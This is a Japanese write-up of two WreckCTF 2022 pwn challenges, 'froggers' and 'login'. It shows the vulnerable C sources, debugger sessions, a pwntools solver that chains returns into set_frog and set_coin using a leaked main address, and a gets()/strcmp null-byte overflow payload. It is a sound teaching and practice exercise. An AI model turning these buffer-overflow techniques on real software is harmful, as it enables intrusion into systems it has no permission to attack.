Open2

wreckctf2022

t0m3yt0m3y

froggers

問題

Frog coin to the moon!

ソースコード

// compiled with gcc -fno-stack-protector -o challenge challenge.c

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <stdbool.h>

bool frog = false;
bool coin = false;
bool wallet_supports_frog_coin = false;

void lilypad(char *buffer) {
  fgets(buffer, 40, stdin);
}

void set_frog() {
  puts("Setting frog...");
  frog = wallet_supports_frog_coin;
  if (frog)
    puts("Frog set!");
  fflush(stdout);
}

void set_coin() {
  puts("Setting coin...");
  coin = frog;
  if (coin)
    puts("Coin set!");
  fflush(stdout);
}

void froggers(char *name) {
  printf("Hi %s", name);

  if (frog && coin) {
    FILE *fp = fopen("flag.txt", "r");
    if (fp == NULL)
      return;

    fseek(fp, 0, SEEK_END);
    long fsize = ftell(fp);
    fseek(fp, 0, SEEK_SET);

    char flag[fsize + 1];
    flag[fsize] = 0;

    fread(flag, 1, fsize, fp);

    if (!frog || !coin) {
      puts("Frogger error!");
      fflush(stdout);
      exit(1);
    }

    printf("%s\n", flag);

    fclose(fp);
  } else {
    puts("Your wallet doesn't have frog coins!");
  }
  fflush(stdout);
}

int main() {
  printf("Hey I'm %p, what's your name?\n", main);
  fflush(stdout);

  char name[16];
  lilypad(name);

  froggers(name);

  if (!wallet_supports_frog_coin) {
    wallet_supports_frog_coin = true;
  }

  return 0;
}

解法

以下のコマンド実行結果から64bitのELFバイナリであること、実行ファイルの緩和機構はカナリア以外設定されていることがわかる。

$ file challenge
challenge: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=9f431948047057498b0b0a2f4fe22ae01a887c4a, for GNU/Linux 3.2.0, not stripped
                                                                                                               
$ checksec challenge                    
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

ソースコードを見ると変数nameにfgetsで表準入力を格納しているようだ。
fgetsでは読み込むバイト数を40bytesに設定しているが、nameは16バイトしか確保していないため、bof出来そう。

flagを得るためには、set_frog(),set_coin()を呼び出したうえでfroggers()を呼び出す必要がある。
pieは有効だがmain関数内の処理でmain関数のアドレスを表示しているのでこれを取得すれば差分で他の関数アドレスを得ることができる。

以上からペイロード作成のために必要な情報を集めていく。

  • ペイロード作成のために必要な情報
    • ripまでのオフセット
    • main関数アドレス
    • set_frog(),set_coin(のアドレス

まず、ripまでのオフセットを調べる。
以下はその際の調査方法である。

  1. gdb-pwndbgで問題バイナリを開く
  2. cyclicで出力した文字列を入力する
  3. rspにセットされている先頭の文字列を確認する(retはスタックからripに値を得るため)→今回はgaaa
  4. cyclic -l コマンドで指定した文字列までのオフセットを得る
$ gdb-pwndbg challenge

pwndbg> cyclic 50
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama
pwndbg> r
Starting program: /home/kali/workspace/wreckctf/frogger/challenge 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Hey I'm 0x555555555535, what's your name?
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama
Hi aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaYour wallet doesn't have frog coins!

Program received signal SIGSEGV, Segmentation fault.
0x000055555555559b in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────
 RAX  0x0
 RBX  0x0
 RCX  0xc00
 RDX  0x5555555592a0 ◂— "Hi aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaYour wallet doesn't have frog coins!\n"
 RDI  0x7ffff7df4a50 (_IO_stdfile_1_lock) ◂— 0x0
 RSI  0x0
 R8   0x7ffff7df4a50 (_IO_stdfile_1_lock) ◂— 0x0
 R9   0x6c61772072756f59 ('Your wal')
 R10  0x73656f642074656c ('let does')
 R11  0x246
 R12  0x7fffffffde78 —▸ 0x7fffffffe20f ◂— '/home/kali/workspace/wreckctf/frogger/challenge'
 R13  0x555555555535 (main) ◂— endbr64 
 R14  0x0
 R15  0x7ffff7ffd020 (_rtld_global) —▸ 0x7ffff7ffe240 —▸ 0x555555554000 ◂— 0x10102464c457f
 RBP  0x6161616661616165 ('eaaafaaa')
 RSP  0x7fffffffdd68 ◂— 'gaaahaaaiaaajaa'
 RIP  0x55555555559b (main+102) ◂— ret    
──────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────
 ► 0x55555555559b <main+102>    ret    <0x6161616861616167>

pwndbg> cyclic -l gaaa
24

オフセットは24であるということがわかった。
次に各関数のアドレスだがこれはmain関数から各関数までの差分を考えればいいのでinfo functionコマンドで値を得ることできる。

pwndbg> info functions 
All defined functions:

Non-debugging symbols:
0x0000000000001000  _init
0x00000000000010d0  __cxa_finalize@plt
0x00000000000010e0  puts@plt
0x00000000000010f0  fread@plt
0x0000000000001100  fclose@plt
0x0000000000001110  printf@plt
0x0000000000001120  fgets@plt
0x0000000000001130  ftell@plt
0x0000000000001140  fflush@plt
0x0000000000001150  fseek@plt
0x0000000000001160  fopen@plt
0x0000000000001170  exit@plt
0x0000000000001180  _start
0x00000000000011b0  deregister_tm_clones
0x00000000000011e0  register_tm_clones
0x0000000000001220  __do_global_dtors_aux
0x0000000000001260  frame_dummy
0x0000000000001269  lilypad
0x0000000000001294  set_frog
0x00000000000012de  set_coin
0x0000000000001328  froggers
0x0000000000001535  main
0x00000000000015a0  __libc_csu_init
0x0000000000001610  __libc_csu_fini
0x0000000000001618  _fini
pwndbg> 

main関数から各関数までの距離は以下の通りとなる。

  • set_frog : 0x2a1
  • set_coin : 0x257

以上より最終的なソルバーは以下の通り。

from pwn import *

def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)


# Specify your GDB script here for debugging
gdbscript = '''
init-pwndbg
b main
continue
'''.format(**locals())

exe = './challenge'
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'debug'


io = start()
io.recvuntil("Hey I'm ")
leak_main_addr=int(io.recv()[0:14],16)

info("leak_main_address:    %#x",leak_main_addr)

offset = 24
set_frog_addr = leak_main_addr- 0x2a1 
set_coin_addr = leak_main_addr - 0x257

info("leak_frog_address:    %#x",set_frog_addr)
info("leak_coin_address:    %#x",set_coin_addr)


payload =flat(
    "A"*24,
    set_frog_addr,
    leak_main_addr
)

payload2=flat(
    "B"*23,
    set_coin_addr,
    leak_main_addr,
)


io.send(payload)

io.recvuntil("what's your name?")
io.sendline(payload2)

io.interactive()
  1. ripをset_frog関数のアドレスで上書きする
  2. set_frog関数を実行後、main関数に戻る(一度のペイロードではバッファが足りないので、再度fgetsを呼び出す)
  3. 二度目のペイロードでset_coin関数を呼び出し、main関数に戻る(main関数内でfroggers関数が呼ばれているため)
  4. flag獲得

※payload2のオフセットが23なのは二回目のfgetsの戻り値に"\x00"が追加されていたため

[*] Switching to interactive mode

Hi Your wallet doesn't have frog coins!
Setting coin...
Coin set!
Hey I'm 0x5570a90bb535, what's your name?
Hi flag{i_always_wanted_to_be_a_math_magician}

感想

ローカルとリモートで挙動が違い、苦労しました。

t0m3yt0m3y

wreckCTF2022-Pwn

login

問題

you'll never get my password!

ソースコード

// gcc -o challenge challenge.c

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <stdbool.h>
#include <string.h>

bool load_password(char *password) {
  FILE *fp;
  if ((fp = fopen("password.txt", "r")) == NULL)
	return false;

  if (fread(password, 1, 15, fp) != 15)
  
	return false;

  password[15] = 0;
  fclose(fp);

  return true;
}

void print_flag() {
  FILE *fp = fopen("flag.txt", "r");
  if (fp == NULL)
	return;

  fseek(fp, 0, SEEK_END);
  long fsize = ftell(fp);
  fseek(fp, 0, SEEK_SET);

  char flag[fsize + 1];
  flag[fsize] = 0;

  fread(flag, 1, fsize, fp);
  puts(flag);

  fclose(fp);
}

int main() {
  char password[16];
  char accurate[16];

  if (!load_password(accurate))
	return 1;

  puts("Input password");
  fflush(stdout);
  gets(password);

  if (strcmp(password, accurate) == 0)
	print_flag();
  else
	puts("Sorry, incorrect password\n");
  fflush(stdout);
}

解法

以下のコマンド実行結果から64bitのELFバイナリであること、実行ファイルの緩和機構がフルで設定されていることがわかる

$ file challenge
challenge: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=d8e99f59cf083eaf84c9c1438a29f773f1880d2e, for GNU/Linux 3.2.0, not stripped
                                                                                                               
$ checksec challenge
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

次にソースコードを確認する。password.txtを読み込み、それを入力値と比較し、Trueならprint_flag()関数を呼び出すことがわかる。
また、getsやstmcmpを利用して比較条件を突破できそう。

まずbofを発生させてaccurateを上書きし、accurateに任意の文字列をセットする。
次に比較部分だが、strcmpは引数で指定された値からnullまでの文字列を受け取り、比較するため、null文字前後の値をそろえてあげれば比較条件を突破出来る。
最終的なペイロードは以下の通り。

$ python2 -c 'print A*15+x00+A*15' >payload
                                                                                                               
$ ./challenge <payload
Input password
fakeflag